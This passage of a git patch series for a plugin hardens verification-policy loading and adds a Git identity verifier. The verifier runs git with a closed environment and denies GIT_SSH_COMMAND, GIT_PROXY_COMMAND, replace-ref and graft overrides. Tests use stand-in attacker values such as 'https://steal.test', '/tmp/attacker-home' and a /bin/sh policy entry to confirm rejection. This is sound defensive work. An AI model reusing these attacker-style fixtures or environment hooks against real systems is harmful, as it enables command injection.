errorOf(() => verificationPolicyRoots(date)); + assert.equal(dateError.code, 'exotic_prototype_denied'); + assert.equal(dateError.message.includes('attacker-date-config'), false); + assert.equal(dateError.message.includes('2026'), false); + + const map = new Map([['ownerConfigDir', '/tmp/attacker-map-config']]); + const mapError = errorOf(() => verificationPolicyRoots(map)); + assert.equal(mapError.code, 'exotic_prototype_denied'); + assert.equal(mapError.message.includes('attacker-map-config'), false); + + class ExoticOptions {} + const exotic = new ExoticOptions(); + exotic.ownerConfigDir = '/tmp/attacker-class-config'; + assert.equal(errorOf(() => verificationPolicyRoots(exotic)).code, 'exotic_prototype_denied'); + + const nullProto = Object.create(null); + nullProto.ownerConfigDir = '/tmp/owner-config'; + const roots = verificationPolicyRoots(nullProto); + assert.equal(roots.scope, 'owner'); + assert.equal(roots.file.endsWith('verification-policy.json'), true); + assert.equal(Object.isFrozen(roots), true); + + const { proxy, counts } = countingProxy({ ownerConfigDir: '/tmp/owner-config' }); + assert.equal(errorOf(() => verificationPolicyRoots(proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); + + const { proxy: revokedProxy, revoke } = Proxy.revocable({ ownerConfigDir: '/tmp/owner-config' }, { + get() { throw new Error(`revoked get ${secret}`); }, + ownKeys() { throw new Error('revoked ownKeys'); }, + getOwnPropertyDescriptor() { throw new Error('revoked descriptor'); }, + }); + revoke(); + assert.equal(utilTypes.isProxy(revokedProxy), true); + const revokedError = errorOf(() => verificationPolicyRoots(revokedProxy)); + assert.equal(revokedError.code, 'proxy_denied'); + assert.equal(revokedError.message.includes(secret), false); + assert.equal(revokedError.message.includes('TypeError'), false); +}); + +test('own env accessors are rejected without invocation or process-env fallback', () => { + let reads = 0; + const options = {}; + Object.defineProperty(options, 'env', { + enumerable: true, + configurable: true, + get() { + reads += 1; + throw new Error('env getter bomb /tmp/attacker-home https://steal.test'); + }, + }); + const error = errorOf(() => verificationPolicyRoots(options)); + assert.equal(error.code, 'accessor_property_denied'); + assert.equal(reads, 0); + assert.equal(error.message.includes('attacker-home'), false); + assert.equal(error.message.includes('https://steal.test'), false); + assert.equal(error.message.includes('getter bomb'), false); + + const proxyEnv = {}; + const { proxy, counts } = countingProxy({ HOME: '/tmp/attacker-home' }); + Object.defineProperty(proxyEnv, 'env', { + enumerable: true, + configurable: true, + value: proxy, + }); + assert.equal(errorOf(() => verificationPolicyRoots(proxyEnv)).code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); +}); + test('rejectUntrustedExecutableContentV1 walks nested profile and provider shapes', () => { const nestedProfile = { name: 'review', diff --git a/plugins/codex-co-engineer/test/r1-trusted-verification-policy.test.mjs b/plugins/codex-co-engineer/test/r1-trusted-verification-policy.test.mjs index 49dd72a..b1eb09a 100644 --- a/plugins/codex-co-engineer/test/r1-trusted-verification-policy.test.mjs +++ b/plugins/codex-co-engineer/test/r1-trusted-verification-policy.test.mjs @@ -397,6 +397,65 @@ test('failures are typed and content-free', () => { assert.equal(urlError.message.includes('evil.example'), false); }); +test('missing policy under a reviewer-created 0755 directory is immutable default deny', async () => { + const root = await mkdtemp(path.join(tmpdir(), 'r1-p16a-policy-0755-')); + const ownerConfigDir = path.join(root, 'owner-config'); + const policyDir = path.join(ownerConfigDir, 'codex-co-engineer'); + try { + await mkdir(policyDir, { recursive: true }); + await chmod(ownerConfigDir, 0o755); + await chmod(policyDir, 0o755); + const missing = await loadOwnerVerificationPolicyV1({ ownerConfigDir }); + assert.equal(missing.source.present, false); + assert.equal(missing.policy.commands.length, 0); + assert.equal(missing.policy.schema, VERIFICATION_POLICY_SCHEMA_ID); + assert.equal(missing.policy.version, VERIFICATION_POLICY_VERSION); + assert.equal(Object.isFrozen(missing), true); + assert.equal(Object.isFrozen(missing.policy), true); + assert.equal(Object.isFrozen(missing.policy.commands), true); + assert.equal( + missing.digest.digest, + verificationPolicyDigestV1({ + schema: VERIFICATION_POLICY_SCHEMA_ID, + version: VERIFICATION_POLICY_VERSION, + commands: [], + }).digest, + ); + await chmod(policyDir, 0o775); + const groupWritableMissing = await loadOwnerVerificationPolicyV1({ ownerConfigDir }); + assert.equal(groupWritableMissing.source.present, false); + assert.equal(groupWritableMissing.policy.commands.length, 0); + assert.equal(groupWritableMissing.digest.digest, missing.digest.digest); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('an existing unsafe policy file still fails closed under ordinary 0755 directories', async () => { + const root = await mkdtemp(path.join(tmpdir(), 'r1-p16a-policy-unsafe-')); + const ownerConfigDir = path.join(root, 'owner-config'); + const policyDir = path.join(ownerConfigDir, 'codex-co-engineer'); + const file = path.join(policyDir, 'verification-policy.json'); + try { + await mkdir(policyDir, { recursive: true }); + await writeFile(file, JSON.stringify(validPolicy({ + commands: [validCommand({ executable: '/bin/sh' })], + }))); + await chmod(ownerConfigDir, 0o755); + await chmod(policyDir, 0o755); + await chmod(file, 0o666); + await assert.rejects( + () => loadOwnerVerificationPolicyV1({ ownerConfigDir }), + (error) => error instanceof RunContractV1Error + && error.code === 'policy_catalog_not_owner_controlled' + && error.message.includes('/bin/sh') === false + && error.message.includes(file) === false, + ); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + test('the owner loader round-trips a catalog and treats absence as default deny', async () => { const root = await mkdtemp(path.join(tmpdir(), 'r1-p16a-policy-')); const ownerConfigDir = path.join(root, 'owner-config'); From 18beb8368562b96115c97a0a4830cbdd256a5a4b Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 06:32:05 +0000 Subject: [PATCH 071/151] feat(verify): validate repository base branch and head Observe local Git through argv execution and bind repository identity, expected base ref/name, exact base SHA, candidate head SHA, and object types into P13 VerifiedFact snapshots. Close environment, output, time, and resource bounds. Reject missing/wrong repos, symbolic-ref drift, detached/unborn/ambiguous refs, non-commit objects, replace/graft/config/env influence, hostile names, extra keys, proxies/accessors, and bounds abuse. --- CHANGELOG.md | 15 + .../codex-co-engineer/mcp/v3/git-identity.mjs | 843 ++++++++++++++++++ 2 files changed, 858 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/git-identity.mjs diff --git a/CHANGELOG.md b/CHANGELOG.md index ef2e910..d7c2798 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,21 @@ ### Added +- **GitIdentityV1 independent repository base-branch and head verifier.** + Adds an additive v3 `git-identity.mjs` module for W13-P14. It derives + Git facts from the local repository through argv execution + (`/usr/bin/git`, no shell) and never from provider claims, then binds + repository identity, expected base ref/name, exact base SHA, candidate + head SHA, and object types into P13 `VerifiedFactV1` snapshots + (`git_identity` and `head_sha` with `platform_git` / `ancestry_check`). + Observation uses a closed environment that cannot inherit `GIT_*`, + replace, graft, or config influence; output, time, and command counts + are bounded; typed errors never echo hostile bytes. It rejects + missing/wrong repos, symbolic-ref drift, detached/unborn/ambiguous + refs, non-commit objects, replace refs, grafts, hostile names, extra + keys, proxies/accessors, and bounds abuse. It does not own P15 + scope/read-only/merge-commit checks, P16A trusted command policy, P28 + Git mutation, or provider/workspace dispatch. - **ArtifactRefV1 and the strict relative artifact path policy.** Adds two additive, pure v3 modules for W3-P07. `artifact-path.mjs` owns one deterministic fail-closed question - is this string a strict portable diff --git a/plugins/codex-co-engineer/mcp/v3/git-identity.mjs b/plugins/codex-co-engineer/mcp/v3/git-identity.mjs new file mode 100644 index 0000000..aca4e31 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/git-identity.mjs @@ -0,0 +1,843 @@ +// GitIdentityV1 — independently derived repository identity, base-ref, and +// candidate-head facts (ADR 0001 identifiers `immutable_repo_base_identity`, +// `exact_identities`, `bounded_evidence`, +// `gate_a_exact_run_child_provider_workspace_git_identity`). +// +// Additive v3 module for W13-P14. It observes Git from the local repository +// through argv execution and never from provider claims. It binds repository +// path identity, expected base ref/name, exact base SHA, candidate head SHA, +// and object types into P13 VerifiedFactV1 / EvidenceDiscrepancyV1 snapshots. +// It does not own P15 scope/read-only/merge-commit checks, P16A trusted +// command policy, P28 Git mutation, or provider/workspace dispatch. +// +// Observation is fail-closed: spawn is argv-only (no shell), the child +// environment is a closed map that cannot inherit GIT_* / config / replace / +// graft influence, output/time/command counts are bounded, and typed errors +// never echo hostile bytes. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { spawn as nodeSpawn } from 'node:child_process'; +import { createHash } from 'node:crypto'; +import { lstat as nodeLstat, realpath as nodeRealpath } from 'node:fs/promises'; +import path from 'node:path'; + +import { + parseEvidenceDiscrepancyV1, + parseVerifiedFactV1, + MAX_DURATION_MS, + MAX_SEQUENCE, +} from './evidence-bundle.mjs'; +import { + capturedFreeze, + capturedHasOwn, + capturedUtf8ByteLength, +} from './grammar.mjs'; +import { canonicalJsonStringify } from './identity.mjs'; +import { + RunContractV1Error, + assertAllowedKeys, + assertBaseSha, + assertRepositoryPath, + assertRunId, + isAssignmentId, + isSha40, +} from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + hasOwn, + optOwn, +} from './selection-json.mjs'; + +export const GIT_IDENTITY_SCHEMA_ID = 'codex-co-engineer.git-identity.v1'; +export const GIT_IDENTITY_VERSION = 1; +export const GIT_EXECUTABLE = '/usr/bin/git'; + +export const MAX_GIT_COMMANDS = 20; +export const MAX_GIT_ARGS = 32; +export const MAX_GIT_ARG_BYTES = 256; +export const MAX_GIT_OUTPUT_BYTES = 4096; +export const MAX_GIT_TIME_MS = 5_000; +export const MAX_GIT_TOTAL_TIME_MS = 20_000; +export const MAX_BASE_REF_BYTES = 128; +export const MAX_BASE_REF_SEGMENTS = 6; + +export const GIT_IDENTITY_REQUEST_ALLOWED_KEYS = capturedFreeze([ + 'repository', 'expected_base_ref', 'candidate_head_sha', + 'run_id', 'assignment_id', 'sequence', +]); +export const GIT_IDENTITY_REQUEST_REQUIRED_KEYS = GIT_IDENTITY_REQUEST_ALLOWED_KEYS; +export const GIT_IDENTITY_REPOSITORY_ALLOWED_KEYS = capturedFreeze(['path', 'base_sha']); +export const GIT_IDENTITY_RESULT_ALLOWED_KEYS = capturedFreeze([ + 'schema', 'version', 'status', 'facts', 'discrepancies', 'observation', +]); +export const GIT_IDENTITY_OBSERVATION_ALLOWED_KEYS = capturedFreeze([ + 'repository_path', 'git_dir', 'base_ref', 'base_sha', 'head_sha', + 'base_object_type', 'head_object_type', 'worktree_head_ref', 'duration_ms', +]); +export const GIT_IDENTITY_OPTIONS_ALLOWED_KEYS = capturedFreeze(['spawn']); +export const GIT_IDENTITY_STATUSES = capturedFreeze(['failed', 'verified']); + +export const GIT_IDENTITY_ERROR_CODES = capturedFreeze([ + 'accessor_property_denied', 'aliased_reference_denied', 'ambiguous_ref_denied', + 'bounds_exceeded', 'config_influence_denied', 'detached_ref_denied', + 'env_influence_denied', 'exotic_prototype_denied', 'grafts_denied', + 'hostile_name_denied', 'invalid_format', 'invalid_type', 'missing_key', + 'non_commit_object', 'non_enumerable_property_denied', 'own_undefined_denied', + 'out_of_range', 'proxy_denied', 'replace_refs_denied', 'repository_invalid', + 'repository_missing', 'rewritten_history', 'stale_base', 'symbolic_ref_drift', + 'symbol_key_denied', 'unborn_ref_denied', 'unknown_key', 'unreachable_head', + 'wrong_merge_base', 'git_execution_failed', +]); + +const PRIVATE_BASE_REF_PATTERN = /^refs\/heads\/[A-Za-z0-9][A-Za-z0-9._-]{0,63}(?:\/[A-Za-z0-9][A-Za-z0-9._-]{0,63}){0,3}$/u; +const PRIVATE_OBJECT_TYPE_PATTERN = /^(?:blob|commit|tag|tree)$/u; +const PRIVATE_TRUE_FALSE_PATTERN = /^(?:true|false)$/u; +const PRIVATE_SHA256_PATTERN = /^[0-9a-f]{64}$/u; + +export const GIT_BASE_REF_PATTERN = new RegExp( + PRIVATE_BASE_REF_PATTERN.source, PRIVATE_BASE_REF_PATTERN.flags, +); + +const OBJECT_DEFINE_PROPERTY = Object.defineProperty; +const OBJECT_FREEZE = Object.freeze; +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; +const MATH_FLOOR = Math.floor; +const MATH_MAX = Math.max; +const ARRAY_IS_ARRAY = Array.isArray; +const ARRAY_PUSH = Array.prototype.push; +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const BUFFER_CONCAT = NodeBuffer.concat.bind(NodeBuffer); +const BUFFER_BYTE_LENGTH = NodeBuffer.byteLength; +const CRYPTO_CREATE_HASH = createHash; +const HASH_PROTOTYPE = Object.getPrototypeOf(CRYPTO_CREATE_HASH('sha256')); +const HASH_UPDATE = HASH_PROTOTYPE.update; +const HASH_DIGEST = HASH_PROTOTYPE.digest; +const PATH_IS_ABSOLUTE = path.isAbsolute; +const PATH_RESOLVE = path.resolve; +const SPAWN = nodeSpawn; +const LSTAT = nodeLstat; +const REALPATH = nodeRealpath; +const REFLECT_APPLY = Reflect.apply; + +const CLOSED_GIT_ENV = capturedFreeze({ + PATH: '/usr/bin:/bin', + GIT_CONFIG_NOSYSTEM: '1', + GIT_CONFIG_GLOBAL: '/dev/null', + GIT_CONFIG_SYSTEM: '/dev/null', + GIT_TERMINAL_PROMPT: '0', + GIT_OPTIONAL_LOCKS: '0', + GIT_PAGER: 'cat', + GIT_ASKPASS: '', + LANG: 'C', + LC_ALL: 'C', + TZ: 'UTC', +}); + +const GIT_ISOLATION_FLAGS = capturedFreeze([ + '--no-replace-objects', + '--no-optional-locks', + '--literal-pathspecs', + '-c', 'core.useReplaceRefs=false', + '-c', 'core.hooksPath=/dev/null', + '-c', 'gc.auto=0', + '-c', 'advice.detachedHead=false', + '-c', 'log.showSignature=false', +]); + +const FORBIDDEN_ENV_KEYS = capturedFreeze([ + 'GIT_DIR', 'GIT_WORK_TREE', 'GIT_OBJECT_DIRECTORY', + 'GIT_ALTERNATE_OBJECT_DIRECTORIES', 'GIT_INDEX_FILE', 'GIT_COMMON_DIR', + 'GIT_NAMESPACE', 'GIT_CONFIG', 'GIT_CONFIG_COUNT', 'GIT_CONFIG_PARAMETERS', + 'GIT_REPLACE_REF_BASE', 'GIT_GRAFT_FILE', 'GIT_QUARANTINE_PATH', + 'GIT_PROXY_COMMAND', 'GIT_SSH', 'GIT_SSH_COMMAND', 'GIT_TRACE', + 'GIT_TRACE2', 'GIT_EXEC_PATH', 'GIT_TEMPLATE_DIR', +]); + +export const GIT_CLOSED_ENV = CLOSED_GIT_ENV; + +function freezeRecord(keys, values) { + const snapshot = {}; + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (!capturedHasOwn(values, key)) continue; + OBJECT_DEFINE_PROPERTY(snapshot, key, { + value: values[key], enumerable: true, writable: false, configurable: false, + }); + } + return capturedFreeze(snapshot); +} + +function requiredKeys(input, keys, path) { + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (!hasOwn(input, key)) { + fail('missing_key', `${path}.${key}`, + `${path}.${key} is required (${GIT_IDENTITY_SCHEMA_ID}); git identity records have no hidden defaults.`); + } + } +} + +function digestCanonical(value) { + const canonical = canonicalJsonStringify(value); + const hash = CRYPTO_CREATE_HASH('sha256'); + HASH_UPDATE.call(hash, BUFFER_FROM(canonical, 'utf8')); + return HASH_DIGEST.call(hash, 'hex'); +} + +function assertClosedEnv(env, path) { + if (env === null || typeof env !== 'object' || ARRAY_IS_ARRAY(env)) { + fail('env_influence_denied', path, `${path} must be the closed git environment map.`); + } + for (let index = 0; index < FORBIDDEN_ENV_KEYS.length; index += 1) { + const key = FORBIDDEN_ENV_KEYS[index]; + if (capturedHasOwn(env, key)) { + fail('env_influence_denied', path, + `${path} must not carry git configuration, replace, graft, or directory overrides.`); + } + } +} + +function assertGitArgv(args, path) { + if (!ARRAY_IS_ARRAY(args)) fail('invalid_type', path, `${path} must be an argv array.`); + if (args.length > MAX_GIT_ARGS) { + fail('bounds_exceeded', path, `${path} exceeds the git argv arity cap.`); + } + for (let index = 0; index < args.length; index += 1) { + const arg = args[index]; + if (typeof arg !== 'string' || arg.length === 0) { + fail('hostile_name_denied', `${path}[${index}]`, `${path} entries must be non-empty strings.`); + } + if (arg.includes('\0')) { + fail('hostile_name_denied', `${path}[${index}]`, `${path} entries must not contain NUL.`); + } + if (BUFFER_BYTE_LENGTH(arg) > MAX_GIT_ARG_BYTES) { + fail('bounds_exceeded', `${path}[${index}]`, `${path} exceeds the git argument byte cap.`); + } + } +} + +function oneLine(text, path, pattern) { + if (typeof text !== 'string') { + fail('git_execution_failed', path, `${path} did not produce a bounded git observation.`); + } + let value = text; + if (value.endsWith('\n')) value = value.slice(0, -1); + if (value.endsWith('\r')) value = value.slice(0, -1); + if (value.includes('\n') || value.includes('\r') || value.includes('\0')) { + fail('git_execution_failed', path, `${path} produced extra git output.`); + } + if (pattern !== undefined && !pattern.test(value)) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + return value; +} + +function parseObservedSha(text, path) { + const value = oneLine(text, path); + if (!isSha40(value)) { + fail('git_execution_failed', path, `${path} did not resolve to an exact commit SHA.`); + } + return value; +} + +function assertBaseRefName(value, path) { + if (typeof value !== 'string') { + fail('invalid_type', path, `${path} must be a git branch ref string.`); + } + if (capturedUtf8ByteLength(value) > MAX_BASE_REF_BYTES) { + fail('out_of_range', path, `${path} exceeds the base-ref byte cap.`); + } + if (value.includes('\0') || value.includes('\n') || value.includes('\r') + || value.startsWith('-') || value.includes('..') || value.includes('@{') + || value.includes('\\') || value.includes('//') || value.endsWith('.lock') + || value.endsWith('.') || value.includes('~') || value.includes('^') + || value.includes(':') || value.includes('?') || value.includes('*') + || value.includes('[') || value.includes(' ') || value.includes('@') + || value === 'HEAD' || value === 'refs/heads/HEAD') { + fail('hostile_name_denied', path, `${path} is not an allowed base branch ref.`); + } + const segments = value.split('/'); + if (segments.length > MAX_BASE_REF_SEGMENTS) { + fail('out_of_range', path, `${path} exceeds the base-ref segment cap.`); + } + if (!PRIVATE_BASE_REF_PATTERN.test(value)) { + fail('hostile_name_denied', path, `${path} is not an allowed base branch ref.`); + } + return value; +} + +function parseRepository(input, path) { + const value = optOwn(input, 'repository'); + assertPlainObject(value, 'invalid_type', path, path); + assertDirectJsonClosure(value, path); + assertAllowedKeys(value, GIT_IDENTITY_REPOSITORY_ALLOWED_KEYS, path); + requiredKeys(value, GIT_IDENTITY_REPOSITORY_ALLOWED_KEYS, path); + const repositoryPath = optOwn(value, 'path'); + assertRepositoryPath(repositoryPath, `${path}.path`); + const baseSha = optOwn(value, 'base_sha'); + assertBaseSha(baseSha, `${path}.base_sha`); + return freezeRecord(GIT_IDENTITY_REPOSITORY_ALLOWED_KEYS, { + path: repositoryPath, base_sha: baseSha, + }); +} + +function assertSequence(value, path) { + if (typeof value !== 'number' || !NUMBER_IS_SAFE_INTEGER(value)) { + fail('invalid_type', path, `${path} must be a safe integer sequence.`); + } + if (value < 0 || value > MAX_SEQUENCE - 1) { + fail('out_of_range', path, + `${path} must be an injected sequence in 0..${MAX_SEQUENCE - 1} so the paired head fact can bind.`); + } + return value; +} + +export function parseGitIdentityRequestV1(input, path = 'git_identity') { + assertPlainObject(input, 'invalid_type', path, `${path}`); + assertDirectJsonClosure(input, path); + assertAllowedKeys(input, GIT_IDENTITY_REQUEST_ALLOWED_KEYS, path); + requiredKeys(input, GIT_IDENTITY_REQUEST_REQUIRED_KEYS, path); + const repository = parseRepository(input, `${path}.repository`); + const expectedBaseRef = assertBaseRefName( + optOwn(input, 'expected_base_ref'), `${path}.expected_base_ref`, + ); + const candidateHeadSha = optOwn(input, 'candidate_head_sha'); + assertBaseSha(candidateHeadSha, `${path}.candidate_head_sha`); + const runId = optOwn(input, 'run_id'); + assertRunId(runId, `${path}.run_id`); + const assignmentId = optOwn(input, 'assignment_id'); + if (!isAssignmentId(assignmentId)) { + fail('invalid_format', `${path}.assignment_id`, + `${path}.assignment_id violates the assignment-id grammar.`); + } + const sequence = assertSequence(optOwn(input, 'sequence'), `${path}.sequence`); + return freezeRecord(GIT_IDENTITY_REQUEST_ALLOWED_KEYS, { + repository, + expected_base_ref: expectedBaseRef, + candidate_head_sha: candidateHeadSha, + run_id: runId, + assignment_id: assignmentId, + sequence, + }); +} + +function parseOptions(options, path = 'options') { + if (options === undefined) { + return freezeRecord(GIT_IDENTITY_OPTIONS_ALLOWED_KEYS, { spawn: SPAWN }); + } + assertNotProxy(options, path); + assertPlainObject(options, 'invalid_type', path, path); + assertAllowedKeys(options, GIT_IDENTITY_OPTIONS_ALLOWED_KEYS, path); + let spawn = SPAWN; + if (hasOwn(options, 'spawn')) { + spawn = optOwn(options, 'spawn'); + if (typeof spawn !== 'function') { + fail('invalid_type', `${path}.spawn`, `${path}.spawn must be a spawn function.`); + } + assertNotProxy(spawn, `${path}.spawn`); + } + return freezeRecord(GIT_IDENTITY_OPTIONS_ALLOWED_KEYS, { spawn }); +} + +function createSession(spawnFn) { + return { + spawn: spawnFn, + commands: 0, + startedAt: Date.now(), + }; +} + +function assertSessionBounds(session, path) { + if (session.commands >= MAX_GIT_COMMANDS) { + fail('bounds_exceeded', path, `${path} exceeds the git command-count cap.`); + } + const elapsed = Date.now() - session.startedAt; + if (elapsed > MAX_GIT_TOTAL_TIME_MS) { + fail('bounds_exceeded', path, `${path} exceeds the git wall-clock cap.`); + } +} + +function runGit(session, args, path) { + assertGitArgv(args, `${path}.args`); + assertSessionBounds(session, path); + session.commands += 1; + const argv = [GIT_EXECUTABLE, ...GIT_ISOLATION_FLAGS, ...args]; + assertGitArgv(argv, `${path}.argv`); + return new Promise((resolve, reject) => { + let child; + try { + child = session.spawn(GIT_EXECUTABLE, argv.slice(1), { + cwd: '/', + env: CLOSED_GIT_ENV, + stdio: ['ignore', 'pipe', 'pipe'], + windowsHide: true, + }); + } catch (error) { + reject(new RunContractV1Error( + 'git_execution_failed', path, `${path} could not start a git observation.`, + )); + return; + } + if (child === null || typeof child !== 'object') { + reject(new RunContractV1Error( + 'git_execution_failed', path, `${path} could not start a git observation.`, + )); + return; + } + assertClosedEnv(CLOSED_GIT_ENV, `${path}.env`); + const stdoutChunks = []; + const stderrChunks = []; + let stdoutBytes = 0; + let stderrBytes = 0; + let exceeded = false; + let settled = false; + const finish = (error, result) => { + if (settled) return; + settled = true; + clearTimeout(timer); + if (error) reject(error); + else resolve(result); + }; + const exceed = () => { + if (exceeded) return; + exceeded = true; + try { child.kill('SIGKILL'); } catch { /* already exited */ } + finish(new RunContractV1Error( + 'bounds_exceeded', path, `${path} exceeded a closed git output or time bound.`, + )); + }; + const timer = setTimeout(exceed, MAX_GIT_TIME_MS); + const onChunk = (target, getSize, setSize) => (chunk) => { + const next = getSize() + chunk.length; + setSize(next); + if (next > MAX_GIT_OUTPUT_BYTES) { + exceed(); + return; + } + REFLECT_APPLY(ARRAY_PUSH, target, [chunk]); + }; + child.stdout?.on('data', onChunk(stdoutChunks, () => stdoutBytes, (value) => { stdoutBytes = value; })); + child.stderr?.on('data', onChunk(stderrChunks, () => stderrBytes, (value) => { stderrBytes = value; })); + child.once('error', () => { + finish(new RunContractV1Error( + 'git_execution_failed', path, `${path} could not complete a git observation.`, + )); + }); + child.once('close', (code, signal) => { + if (exceeded) return; + const stdout = BUFFER_CONCAT(stdoutChunks).toString('utf8'); + const stderr = BUFFER_CONCAT(stderrChunks).toString('utf8'); + if (signal !== null && signal !== undefined) { + finish(new RunContractV1Error( + 'git_execution_failed', path, `${path} could not complete a git observation.`, + )); + return; + } + finish(null, { + exit_code: typeof code === 'number' ? code : 1, + stdout, + stderr, + }); + }); + }); +} + +async function gitLine(session, args, path, pattern) { + const result = await runGit(session, args, path); + if (result.exit_code !== 0) { + fail('git_execution_failed', path, `${path} could not complete a git observation.`); + } + return oneLine(result.stdout, path, pattern); +} + +async function gitLines(session, args, path, count) { + const result = await runGit(session, args, path); + if (result.exit_code !== 0) { + fail('git_execution_failed', path, `${path} could not complete a git observation.`); + } + let text = result.stdout; + if (text.endsWith('\n')) text = text.slice(0, -1); + if (text.includes('\0') || text.includes('\r')) { + fail('git_execution_failed', path, `${path} produced extra git output.`); + } + const lines = text.split('\n'); + if (lines.length !== count) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + return lines; +} + +async function gitMaybe(session, args, path) { + const result = await runGit(session, args, path); + return result; +} + +function cwdFlags(repositoryPath) { + return capturedFreeze(['-C', repositoryPath]); +} + +function repoFlags(repositoryPath, gitDir) { + return capturedFreeze(['-C', repositoryPath, '--git-dir', gitDir]); +} + +async function assertLocalRepository(session, repositoryPath, path) { + let metadata; + try { + metadata = await LSTAT(repositoryPath); + } catch { + fail('repository_missing', `${path}.repository.path`, + `${path}.repository.path does not identify an accessible directory.`); + } + if (typeof metadata?.isDirectory !== 'function' || !metadata.isDirectory() + || (typeof metadata.isSymbolicLink === 'function' && metadata.isSymbolicLink())) { + fail('repository_invalid', `${path}.repository.path`, + `${path}.repository.path must be a real directory, not a symlink or file.`); + } + let resolved; + try { + resolved = await REALPATH(repositoryPath); + } catch { + fail('repository_missing', `${path}.repository.path`, + `${path}.repository.path does not identify an accessible directory.`); + } + if (resolved !== repositoryPath || !PATH_IS_ABSOLUTE(resolved) || PATH_RESOLVE(resolved) !== resolved) { + fail('repository_invalid', `${path}.repository.path`, + `${path}.repository.path must be the real, absolute worktree root.`); + } + let identityLines; + try { + identityLines = await gitLines( + session, + [...cwdFlags(repositoryPath), 'rev-parse', '--path-format=absolute', + '--is-inside-work-tree', '--is-bare-repository', '--show-toplevel', '--absolute-git-dir'], + `${path}.repository`, + 4, + ); + } catch (error) { + if (error instanceof RunContractV1Error && error.code === 'git_execution_failed') { + fail('repository_invalid', `${path}.repository.path`, + `${path}.repository.path is not a git worktree root.`); + } + throw error; + } + const [inside, bare, toplevel, gitDir] = identityLines; + if (!PRIVATE_TRUE_FALSE_PATTERN.test(inside) || inside !== 'true') { + fail('repository_invalid', `${path}.repository.path`, + `${path}.repository.path is not a git worktree root.`); + } + if (!PRIVATE_TRUE_FALSE_PATTERN.test(bare) || bare !== 'false') { + fail('repository_invalid', `${path}.repository.path`, + `${path}.repository.path must not be a bare repository.`); + } + if (toplevel !== repositoryPath) { + fail('repository_invalid', `${path}.repository.path`, + `${path}.repository.path must equal the git worktree toplevel.`); + } + if (!PATH_IS_ABSOLUTE(gitDir) || PATH_RESOLVE(gitDir) !== gitDir || gitDir.includes('\0')) { + fail('repository_invalid', `${path}.repository.path`, + `${path}.repository.path did not yield an absolute git directory.`); + } + return gitDir; +} + +async function assertNoReplaceOrGrafts(session, flags, path) { + const replace = await gitMaybe( + session, + [...flags, 'for-each-ref', '--format=%(refname)', '--', 'refs/replace'], + `${path}.replace`, + ); + if (replace.exit_code !== 0) { + fail('replace_refs_denied', `${path}.replace`, + `${path} could not independently inspect replace refs.`); + } + const replaceText = replace.stdout.replace(/\n$/u, ''); + if (replaceText.length > 0) { + fail('replace_refs_denied', `${path}.replace`, + `${path} must not observe git replace refs.`); + } + const [graftsPath, shallowPath] = await gitLines( + session, + [...flags, 'rev-parse', '--path-format=absolute', + '--git-path', 'info/grafts', '--git-path', 'shallow'], + `${path}.grafts`, + 2, + ); + if (!PATH_IS_ABSOLUTE(graftsPath) || PATH_RESOLVE(graftsPath) !== graftsPath) { + fail('grafts_denied', `${path}.grafts`, `${path} produced a non-absolute grafts path.`); + } + if (!PATH_IS_ABSOLUTE(shallowPath) || PATH_RESOLVE(shallowPath) !== shallowPath) { + fail('rewritten_history', `${path}.shallow`, `${path} produced a non-absolute shallow path.`); + } + try { + await LSTAT(graftsPath); + fail('grafts_denied', `${path}.grafts`, `${path} must not observe git grafts.`); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + } + try { + await LSTAT(shallowPath); + fail('rewritten_history', `${path}.shallow`, + `${path} must not observe shallow history as a complete ancestry.`); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + } +} + +async function observeWorktreeHeadRef(session, flags, path) { + const result = await gitMaybe( + session, + [...flags, 'symbolic-ref', '--quiet', '--end-of-options', 'HEAD'], + `${path}.HEAD`, + ); + if (result.exit_code !== 0) { + fail('detached_ref_denied', `${path}.HEAD`, + `${path}.HEAD must be attached to a branch ref.`); + } + const headRef = oneLine(result.stdout, `${path}.HEAD`, PRIVATE_BASE_REF_PATTERN); + if (headRef === 'refs/heads/HEAD') { + fail('hostile_name_denied', `${path}.HEAD`, `${path}.HEAD is not an allowed branch ref.`); + } + return headRef; +} + +async function observeBaseRef(session, flags, expectedBaseRef, expectedBaseSha, path) { + const exists = await gitMaybe( + session, + [...flags, 'show-ref', '--verify', '--', expectedBaseRef], + `${path}.expected_base_ref`, + ); + if (exists.exit_code !== 0) { + fail('unborn_ref_denied', `${path}.expected_base_ref`, + `${path}.expected_base_ref does not name an existing commit.`); + } + const fullNameResult = await gitMaybe( + session, + [...flags, 'rev-parse', '--verify', '--symbolic-full-name', '--end-of-options', expectedBaseRef], + `${path}.expected_base_ref`, + ); + if (fullNameResult.exit_code !== 0) { + fail('unborn_ref_denied', `${path}.expected_base_ref`, + `${path}.expected_base_ref does not name an existing commit.`); + } + const fullName = oneLine( + fullNameResult.stdout, `${path}.expected_base_ref`, PRIVATE_BASE_REF_PATTERN, + ); + if (fullName !== expectedBaseRef) { + fail('symbolic_ref_drift', `${path}.expected_base_ref`, + `${path}.expected_base_ref resolved to a different ref name.`); + } + const asSymbolic = await gitMaybe( + session, + [...flags, 'symbolic-ref', '--quiet', '--end-of-options', expectedBaseRef], + `${path}.expected_base_ref`, + ); + if (asSymbolic.exit_code === 0) { + fail('symbolic_ref_drift', `${path}.expected_base_ref`, + `${path}.expected_base_ref must be a direct branch ref, not a symbolic ref.`); + } + const peeled = await gitMaybe( + session, + [...flags, 'rev-parse', '--verify', '--end-of-options', 